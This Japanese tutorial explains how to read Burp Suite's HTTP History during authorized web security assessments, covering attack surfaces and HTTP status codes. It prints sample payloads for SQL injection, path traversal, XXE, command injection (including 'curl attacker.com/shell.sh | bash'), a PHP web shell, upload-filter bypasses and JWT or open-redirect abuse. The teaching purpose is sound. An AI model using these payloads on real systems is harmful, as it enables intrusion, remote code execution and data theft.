🎯 Burp Suite実践編２ ― 「どこを見るか」が診断の質を決める

Burp Suite を立ち上げてブラウザのプロキシを通し、ひたすら HTTP History をスクロールする。セキュリティ診断に入りたての頃、誰もが通るこの経験。でも「何を探しているのか」がわからないと、どれだけ眺めても脆弱性は見えてきません。

セキュリティ診断の目的をひと言で表すなら、「アタックサーフェス（攻撃対象面）を網羅的に洗い出し、それぞれに対して既知の攻撃手法が通用するか検証すること」です。アタックサーフェスとは、攻撃者がシステムに触れることのできる「接点」の集合体です。ドアや窓が多い家ほど泥棒に狙われやすいのと同じで、アタックサーフェスが広いシステムほど脆弱性が潜んでいる可能性が高くなります。

この記事では、Burp Suite の HTTP History を読む際に注目すべき 6 つのアタックサーフェスカテゴリ と、レスポンスのステータスコードから読み取れる情報 を、実例を交えながら徹底解説します。読み終わった後には「次の診断で何を見ればいいか」が明確になるはずです。

📌 この記事で学べること
・アタックサーフェスという考え方と診断への応用
・URL パラメータ・リクエストボディ・認証ヘッダー・ファイルアップロード・レスポンス・リダイレクトの6カテゴリ詳細
・各カテゴリで想定される脆弱性の仕組みと見つけ方
・HTTP ステータスコード 200/302/400/401/403/500/503 の診断的な読み方
・Burp Suite の操作と組み合わせた実践的なチェック方法

⚠️ 免責事項
本記事の内容は、自身が管理するシステムまたは正式な許可を得たシステムへの適用を前提としています。無許可のシステムへの診断行為は、不正アクセス禁止法等に抵触します。

🗺️ アタックサーフェスとは何か
📡 アタックサーフェスカテゴリ詳細解説
📊 HTTP ステータスコードの診断的な読み方
🛠️ Burp Suite で診断を効率化するテクニック
1. HTTP History のフィルタリング活用
🎯 まとめ ― 「何を見るか」のチェックリスト

🗺️ アタックサーフェスとは何か

家に例えると、アタックサーフェスは「泥棒が侵入できる可能性のある箇所すべて」です。玄関・勝手口・窓・天窓・ガスメーターの蓋……それぞれの箇所に、それぞれの侵入方法があります。

Webアプリケーションのアタックサーフェスも同じ発想です。

ユーザーが入力できる場所（フォーム・URL パラメータ・検索ボックス）
認証・セッション管理が関わる場所（Cookie・Authorization ヘッダー・JWT）
ファイルのやりとりが発生する場所（アップロード・ダウンロード機能）
外部システムと連携する場所（API・外部サービス連携・リダイレクト）
エラーが発生する場所（例外処理・バリデーション失敗）

Burp Suite の HTTP History は、これらすべての「接点」を通った通信の記録です。診断者はここから「攻撃者が触れる可能性のある場所」を地図のようにマッピングし、順番に検証していくという作業を行います。

📡 アタックサーフェスカテゴリ詳細解説

カテゴリ① URL パラメータ ― 最も攻撃にさらされやすい場所

注目ポイント： ?id=123・?search=keyword・?page=2 のような URL に含まれるパラメータ

なぜ危険なのか

URL パラメータはブラウザのアドレスバーに丸見えです。ユーザーが自由に編集でき、攻撃者にとっては「サーバーへの入力窓口」として最も目立つ存在です。

主な脆弱性 ①：SQL インジェクション（SQLi）

?id=123 というパラメータが、バックエンドで次のような SQL に展開されていると仮定します。

-- バックエンドの SQL（脆弱な例）
SELECT * FROM users WHERE id = 123

-- 攻撃者が ?id=123 OR 1=1-- と入力すると
SELECT * FROM users WHERE id = 123 OR 1=1--

OR 1=1 は常に真なので、WHERE 句が無効化され、全ユーザーのデータが返ってきます。-- はコメントで、それ以降の SQL を無効化します。

Burp Suite での確認方法は、HTTP History で id= のようなパラメータを持つリクエストを右クリックして「Send to Repeater」し、パラメータ値を 123'（シングルクォート）に変更してレスポンスを確認します。SQL エラーが返ってきたり、応答が変化したりすれば SQLi の可能性があります。

主な脆弱性 ②：パストラバーサル（ディレクトリトラバーサル）

?file=report.pdf のようなパラメータでファイルを読み込む場合、サーバー側でパスを適切にサニタイズしていないと、?file=../../etc/passwd のように入力することで、本来アクセスできないディレクトリのファイルを読み取れてしまいます。

-- 試すペイロード例
?file=../../etc/passwd
?file=..%2F..%2Fetc%2Fpasswd      （URL エンコード）
?file=....//....//etc/passwd       （フィルタ回避）
?path=/var/www/html/../../../etc/shadow

💡 Burp での実践的なチェック法
HTTP History でフィルタリング機能（Filter bar）を使い、URL に ? を含むリクエストを絞り込みます。パラメータ名が id・file・path・page・url・redirect などの場合は特に注意が必要です。Burp Scanner（Pro版）では自動でこれらのパラメータに対してファジングを行ってくれます。

カテゴリ② リクエストボディ ― 深い場所に潜む脆弱性

注目ポイント： POST/PUT/PATCH リクエストの JSON データ・フォームデータ・XML など

なぜ重要か

URL パラメータと違い、リクエストボディはブラウザには表示されません。一般ユーザーには見えないため「安全だろう」と油断されがちですが、攻撃者は Burp Suite などのプロキシツールで簡単にボディの内容を確認・改ざんできます。

主な脆弱性 ①：JSON インジェクションと Mass Assignment

JSON ボディのキーを攻撃者が追加・改ざんできる場合があります。

// 正規のリクエストボディ
{ "username": "tanaka", "email": "tanaka@example.com" }

// 攻撃者が追加するフィールド（Mass Assignment）
{ "username": "tanaka", "email": "tanaka@example.com", "role": "admin", "is_admin": true }

フレームワークが受け取った JSON を無条件にモデルにバインドしている場合（Mass Assignment）、本来設定できないはずの role フィールドを攻撃者が操作できてしまいます。

主な脆弱性 ②：XXE（XML 外部実体参照）

Content-Type が application/xml のリクエストでは、XML の外部実体参照機能を悪用した攻撃が可能な場合があります。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>

サーバーが XML パーサーで外部実体参照を有効にしたまま処理すると、/etc/passwd の内容がレスポンスに含まれて返ってきます。

主な脆弱性 ③：OS コマンドインジェクション

フォームのパラメータ値がサーバー側で OS コマンドとして実行されてしまう場合があります。

// ping 機能の実装（脆弱な例）
// ユーザーが入力した IP にサーバー側で ping を実行
hostname=192.168.1.1

// 攻撃者の入力
hostname=192.168.1.1; cat /etc/passwd
hostname=192.168.1.1 | id
hostname=192.168.1.1 && curl attacker.com/shell.sh | bash

セミコロンやパイプ（|）、アンパサンド（&）でコマンドを連結し、任意のコマンドをサーバー上で実行できてしまいます。これは CVSS スコアが最大レベルになる非常に危険な脆弱性です。

💡 Burp での実践的なチェック法
HTTP History で POST リクエストを選択し、「Params」タブでボディのパラメータを確認。「Send to Repeater」でリクエストを複製し、各パラメータに '・"・;・|・<・> などの特殊文字を挿入してレスポンスを観察します。Burp Intruder の Sniper モードで複数のパラメータに自動でペイロードを挿入することもできます。

カテゴリ③ 認証ヘッダー ― 鍵の弱さを見つける

注目ポイント： Authorization: Bearer <token>・Cookie: session=abc123・X-API-Key: xxx

JWT（JSON Web Token）の問題

現代の Web アプリで多用される JWT は、ドット（.）で区切られた3つの部分から構成されます。

// JWT の構造（Base64 デコードすると中身が見える）
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9   ← ヘッダー
.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0  ← ペイロード（ユーザー情報）
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  ← 署名

// デコードしたペイロード
{ "user_id": 123, "role": "user", "exp": 1700000000 }

JWT で発見される代表的な脆弱性は次の3つです。

攻撃手法	内容
alg:none 攻撃	アルゴリズムを `none` に変更し署名を削除。サーバーが検証をスキップする場合がある
RS256→HS256 切り替え	公開鍵を使って HMAC 署名を偽造。サーバーが公開鍵を共通鍵として扱ってしまう場合がある
ペイロード改ざん	`"role":"user"` を `"role":"admin"` に変更して権限昇格を試みる

セッションハイジャックとトークン推測

Cookie のセッション ID が予測可能な値（連番・タイムスタンプ・MD5 ハッシュなど）で生成されている場合、攻撃者が他ユーザーのセッション ID を推測して乗っ取ることができます（セッションハイジャック）。

// 脆弱なセッション ID の例
Cookie: session=1001  → Cookie: session=1002 で他ユーザーになれる？
Cookie: session=user_20240315_001  → 日付と連番が推測できる
Cookie: session=5f4dcc3b5aa765d61d8327deb882cf99  → "password" の MD5 値

💡 Burp での実践的なチェック法
Burp の「JSON Web Tokens」タブ（BApp Store から JWT Editor プラグインをインストール）で JWT を視覚的に解析・改ざんできます。また Burp Sequencer ツールにセッション ID を含むレスポンスを渡すと、セッション ID のランダム性（エントロピー）を自動分析し、推測可能かどうかを判定してくれます。

カテゴリ④ ファイルアップロード ― WebShell への最短経路

注目ポイント： Content-Type: multipart/form-data を含むリクエスト

ファイルアップロード機能は何が危ないのか

ファイルアップロード機能は、適切に実装されていないと攻撃者がサーバー上で任意のコードを実行するための入口（WebShell アップロード）になります。

攻撃手法 ①：拡張子チェックのバイパス

// クライアント側のみで .php を拒否している場合の回避方法
shell.php → shell.php5  （別の PHP 拡張子）
shell.php → shell.pHp  （大文字小文字の混在）
shell.php → shell.php.jpg  （二重拡張子）
shell.php → shell.php%00.jpg  （Null バイト挿入）

// .htaccess を一緒にアップロードして実行可能に
// .htaccess の内容
AddType application/x-httpd-php .jpg
// これで .jpg ファイルが PHP として実行されてしまう

攻撃手法 ②：Content-Type の改ざん

サーバーがクライアントから送られた Content-Type ヘッダーのみで判定している場合、ヘッダーを書き換えるだけで検証をバイパスできます。

// 元のリクエスト
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

// Burp Repeater で Content-Type を偽装
Content-Type: image/jpeg  ← これだけで通ってしまうサーバーがある

// ファイル内容は PHP スクリプトのまま
<?php system($_GET['cmd']); ?>

攻撃手法 ③：マジックバイトの偽装

サーバーがファイルの先頭バイト（マジックバイト）でファイル種類を判定している場合でも、PHP コードの前に正規の画像ヘッダーを付けることで回避できることがあります。

// JPEG のマジックバイト + PHP コードを組み合わせたファイル
FF D8 FF E0 00 10 4A 46 49 46 00 01  ← JPEG ヘッダー
... <?php system($_GET['cmd']); ?>    ← PHP コードを後ろに埋め込む

⚠️ WebShell がアップロードされた場合の影響
WebShell が実行可能な形でアップロードされると、攻撃者はブラウザから URL にアクセスするだけでサーバー上で任意のコマンドを実行できます。shell.php?cmd=id のような URL で www-data などのユーザー権限でのコマンド実行が可能になり、そこから権限昇格・横展開・データ漏洩へと繋がります。ファイルアップロード機能は最も影響度の高い脆弱性のひとつです。

カテゴリ⑤ レスポンス ― サーバーの「独り言」を聞く

注目ポイント： エラーメッセージ・デバッグ情報・スタックトレース・コメント

情報漏洩の温床：エラーメッセージ

多くの脆弱性は、正常なリクエストだけでは発見できません。意図的に「おかしな入力」をして、サーバーがどのように反応するかを観察するのが診断の基本です。このときのレスポンスに含まれる情報が非常に重要です。

// SQL インジェクションを試みたときに表示される詳細エラー（危険な例）
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL 8.0.32 server version for the right syntax to use near ''1'' at line 1
Query: SELECT * FROM users WHERE id = '1''
File: /var/www/html/db.php, Line: 47

// この1行から得られる情報
// ・MySQL 8.0.32 を使用している
// ・テーブル名は users
// ・カラム id が文字列型として扱われている
// ・ファイルパスは /var/www/html/db.php
// ・47行目で SQL を実行している

HTML コメントに残る情報

開発者が残したコメントがそのまま本番環境に残っているケースは非常に多いです。

<!-- TODO: 管理者パスワードを変更する admin/admin123 -->
<!-- DEBUG: ユーザーID = <?php echo $user_id; ?> -->
<!-- 内部API: https://internal-api.corp.example.com/v2/ -->
<!-- バックアップ: /var/backup/db_20240101.sql.gz -->

💡 Burp での実践的なチェック法
HTTP History の「Response」タブで「Render」と「Raw」を切り替えながら確認します。特に「Raw」表示でページのソースを確認し、HTML コメントや隠しフィールドを探しましょう。また Burp の「Search」機能（Ctrl+F）で error・exception・stack・debug・TODO・password・internal などのキーワードを検索すると効率的です。

カテゴリ⑥ リダイレクト ― 信頼を悪用する攻撃

注目ポイント： Location ヘッダー・?redirect=・?next=・?return_url= パラメータ

オープンリダイレクトとは

URL パラメータで指定したページに転送する機能に制限がない場合、攻撃者が任意の外部サイトに誘導できてしまいます。

// 正規の使い方（ログイン後に元のページへ戻す）
https://example.com/login?redirect=/dashboard

// 攻撃者の悪用

Example Domain
example.com

// 信頼できる URL に見せかけたフィッシングリンク
// ユーザーは example.com のドメインを信用してクリックするが
// ログイン後に evil.com のフィッシングサイトに誘導される

なぜ危険なのか：信頼の連鎖を利用する

オープンリダイレクト単体の CVSS スコアは中程度ですが、OAuth の認証フローと組み合わせることで認証トークンの窃取に繋がる危険なケースがあります。

// OAuth のリダイレクト URI にオープンリダイレクトが含まれる場合
// 正規の redirect_uri が登録されていても、
// その URI がオープンリダイレクトを持っていれば悪用可能

GET /oauth/authorize?
  client_id=app123&
  redirect_uri=https://example.com/callback?next=https://evil.com&
  response_type=code

// 認証コードが evil.com に転送されてしまう

💡 Burp での実践的なチェック法
HTTP History で 302 レスポンスを Filter でフィルタリングします（Show only: 3xx）。Location ヘッダーに外部 URL が含まれているか確認し、redirect=・next=・url=・return= のようなパラメータに自分のサーバーのドメインを入力して転送されるか検証します。

📊 HTTP ステータスコードの診断的な読み方

Burp Suite の HTTP History には、各リクエストに対するレスポンスのステータスコードが表示されます。数字を眺めるだけでは意味がありませんが、診断者の視点で読むと非常に多くの情報が隠れています。

200 OK ― 正常処理：「サイレントフェイル」に注意

200 は「正常に処理されました」を意味しますが、診断では 「エラーなのに 200 を返す」サイレントフェイル に注意が必要です。

// サイレントフェイルの例
// ログイン試行に対してステータスコードは 200 だが...
HTTP/1.1 200 OK
Content-Type: application/json

// ①ログイン成功のレスポンス
{ "status": "success", "token": "eyJhbGciOiJIUzI1NiJ9..." }

// ②ログイン失敗のレスポンス（ステータスコードは同じ 200）
{ "status": "error", "message": "Invalid credentials" }

// → ステータスコードだけ見ていると気づけない

この仕様を悪用した問題として 「ブルートフォース攻撃の検知漏れ」 があります。WAF や IDS がステータスコードのみで判断している場合、200 が返り続けているとログイン成功扱いになり、ブルートフォース攻撃を見逃すことがあります。

また、権限チェックが不十分な API が 200 でデータを返している場合も問題です。本来アクセス権のないユーザー ID のデータを取得できても、ステータスコードは 200 のため気づきにくいです。

302 Found ― リダイレクト：Location 先を必ず追う

302 レスポンスで Location ヘッダーの宛先を見ると、アプリケーションの内部フローが見えてきます。

Location の内容	診断の観点
`https://外部ドメイン/`	オープンリダイレクト確定。パラメータで変更可能か検証
`/login?next=/admin`	`next` パラメータに外部 URL を入れてオープンリダイレクトをテスト
`/dashboard` （認証後）	302 のレスポンスボディにも機密情報が含まれないか確認

⚠️ 見落としやすいポイント
302 レスポンスはブラウザが自動的にリダイレクト先へ進むため、レスポンスボディを見る機会がありません。しかし Burp Suite では 302 レスポンスのボディも確認でき、ここに機密情報（セッショントークン・ユーザー情報など）が含まれているケースがあります。Burp の HTTP History で 302 のレスポンスボディを積極的に確認しましょう。

400 Bad Request ― リクエスト不正：バリデーションの存在を確認

400 は「あなたのリクエストの形式が間違っています」という意味です。診断では バリデーションが働いている証拠として捉え、そのバリデーションを回避できないかを試します。

// 400 が返る入力（バリデーション作動）
?id=abc   → 400 Bad Request（数値のみ受け付ける）
?date=2024-99-99  → 400 Bad Request（日付形式が不正）

// バリデーション回避を試みるペイロード
?id=1 OR 1=1     → バリデーションが通るか？
?id=1%20OR%201=1  → URL エンコードで回避
?id=1/**/OR/**/1=1  → SQL コメントで回避
?id[]=1          → 配列として送信

また、400 レスポンスのボディに含まれるエラーメッセージから、バリデーションの仕様（何を拒否しているか）が判明することがあり、その情報を基に回避方法を考えることができます。

401 Unauthorized ― 認証必要：認証なしでアクセスできないか確認

401 は「認証情報が必要です（または間違っています）」を意味します。診断では、認証済みでしかアクセスできないエンドポイントに、認証なしでアクセスできてしまわないか を確認します。

// 本来認証が必要なエンドポイント（通常の動作）
GET /api/user/profile
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
→ 200 OK { "name": "田中太郎", "email": "..." }

// Authorization ヘッダーを削除してアクセスしてみる
GET /api/user/profile
→ 401 Unauthorized  ← 正常
→ 200 OK            ← 認証バイパス！！

// Authorization ヘッダーに無効な値を入れてみる
Authorization: Bearer invalid_token
→ 200 OK            ← トークン検証が実装されていない可能性

// 古い API バージョンを試す
GET /api/v1/user/profile  （v2 が認証強化されていてもv1に脆弱性が残ることがある）

403 Forbidden ― アクセス禁止：別ユーザーの Cookie で試す

403 は「あなたにはこのリソースへのアクセス権がありません」という意味です。診断では 水平越権（Horizontal Privilege Escalation）と垂直越権（Vertical Privilege Escalation） の可能性を探ります。

// シナリオ：ユーザーAとユーザーBの2アカウントを使った診断

// ユーザーA（一般ユーザー）でアクセスすると 403
GET /admin/users
Cookie: session=user_a_token
→ 403 Forbidden

// ユーザーA のトークンで管理者エンドポイントにアクセス
// ユーザーIDをBのものに変えてみる
GET /api/users/456/profile  （456 はユーザーBのID）
Cookie: session=user_a_token
→ 403 Forbidden  ← 正常
→ 200 OK         ← 水平越権！ 他のユーザーの情報が見える

// HTTP メソッドを変えてみる（IDOR）
GET /api/admin/settings → 403
POST /api/admin/settings → 200 （メソッドで制御している脆弱な実装）

// パス操作で迂回
/admin/users → 403
/ADMIN/users → 200  （大文字小文字の制御漏れ）
/admin/./users → 200  （パス正規化の問題）

💡 Burp での実践的なチェック法
Burp の「Match and Replace」機能（Proxy→Options）を使うと、すべてのリクエストの Cookie を自動で別ユーザーのものに書き換えられます。これにより「ユーザーB の Cookie でユーザーA のリソースにアクセスできるか」を効率的にテストできます。また「Autorize」BApp（拡張機能）を使うと、越権チェックを自動化できます。

500 Internal Server Error ― サーバーエラー：情報漏洩の宝庫

500 は「サーバー内部で予期しないエラーが発生しました」を意味し、診断では 最も喜ぶべきステータスコード のひとつです。なぜなら 500 エラーを引き起こせたということは、何らかの「想定外の入力」がサーバーに届いているからです。

// 500 エラーの典型的なレスポンス（情報漏洩の例）

// ① スタックトレースの漏洩
java.lang.NullPointerException
  at com.example.app.UserController.getUser(UserController.java:47)
  at com.example.app.UserController$$FastClassByCGLIB.invoke(...)
  ...
// → Javaフレームワーク・クラス構造・ファイルパスが判明

// ② データベースエラーの漏洩
SQLSTATE[42000]: Syntax error or access violation: 1064
You have an error in your SQL syntax near '''' at line 1
// → SQL インジェクションの確証が得られる

// ③ 設定情報の漏洩
Fatal error: Uncaught PDOException: SQLSTATE[HY000] [2002]
Connection refused to host: 192.168.10.5:3306
// → 内部ネットワークの IP アドレスとポートが判明

500 エラーが発生したリクエストを Repeater に送り、入力値を少しずつ変化させながら どのような入力が 500 を引き起こすのかを分析 することで、インジェクション脆弱性の場所と種類を特定できます。

503 Service Unavailable ― サービス不能：意図せず DoS になっていないか

503 は「サーバーが一時的に利用できません」を意味します。診断での主な注意点は2つあります。

ひとつ目は 意図せず DoS を引き起こしていないか です。Burp Intruder で大量のリクエストを送信したり、Burp Scanner で高速スキャンを行ったりした結果、サーバーが過負荷になって 503 が返り始めることがあります。特に本番環境の診断では、負荷設定を慎重に行う必要があります。

ふたつ目は DoS の脆弱性そのものの検証 です。特定の入力や操作でサーバーが 503 を返す場合、攻撃者がそれを再現することで可用性への攻撃が可能になります（例：正規表現の ReDoS、XML の Billion Laughs Attack）。

🛠️ Burp Suite で診断を効率化するテクニック

HTTP History のフィルタリング活用

フィルタ設定	目的
Show only: 4xx/5xx	エラーレスポンスに絞って情報漏洩・入力異常を確認
Show only: POST, PUT, PATCH	データ変更系リクエストに絞って CSRF・インジェクションを検証
Search: Authorization	認証ヘッダーを持つリクエストを一覧表示
Show only: Params	パラメータを持つリクエストに絞る

🎯 まとめ ― 「何を見るか」のチェックリスト

Burp Suite の HTTP History を開いたとき、次のチェックリストを頭に入れておくと、見落としが大幅に減ります。

チェック項目	何を探すか
✅ URL パラメータ	`id`・`file`・`path` などに SQLi / パストラバーサル
✅ リクエストボディ	JSON フィールドへの Mass Assignment / XXE / コマンドインジェクション
✅ 認証ヘッダー	JWT のアルゴリズム・ペイロード改ざん / セッション ID のエントロピー
✅ ファイルアップロード	拡張子/Content-Type/マジックバイトのバイパス検証
✅ レスポンスボディ	エラーメッセージ・スタックトレース・HTML コメントの情報漏洩
✅ リダイレクト	Location ヘッダー・next= / redirect= パラメータの外部転送
✅ 200 サイレントフェイル	エラーなのに 200 を返す設計・権限チェックのない API
✅ 302 ボディ	リダイレクトレスポンスのボディに機密情報が含まれないか
✅ 403 越権	別ユーザーのトークン・メソッド変更・パス操作で通り抜けないか
✅ 500 の内容	スタックトレース・DB エラー・内部 IP からインジェクション確証

アタックサーフェスの網羅とステータスコードの診断的な読み方、この2つの視点を持つだけで Burp Suite の HTTP History から得られる情報量は劇的に変わります。セキュリティ診断は「怪しい場所を感覚で嗅ぎ分ける」スキルではなく、「どこに何が隠れているかを知っている」知識と経験の積み重ねです。

ぜひこの記事をチェックリスト代わりに活用し、次の診断に臨んでみてください。

🔗 参考リソース
・OWASP Top 10：https://owasp.org/www-project-top-ten/
・PortSwigger Web Security Academy（無料の演習付き解説）：https://portswigger.net/web-security
・HackTricks（各種攻撃手法のチートシート）：https://book.hacktricks.xyz/
・Burp Suite 公式ドキュメント：https://portswigger.net/burp/documentation

本記事は教育・学習目的で執筆しています。実際のセキュリティ診断は、必ず対象システムの管理者から書面による許可を得た上で実施してください。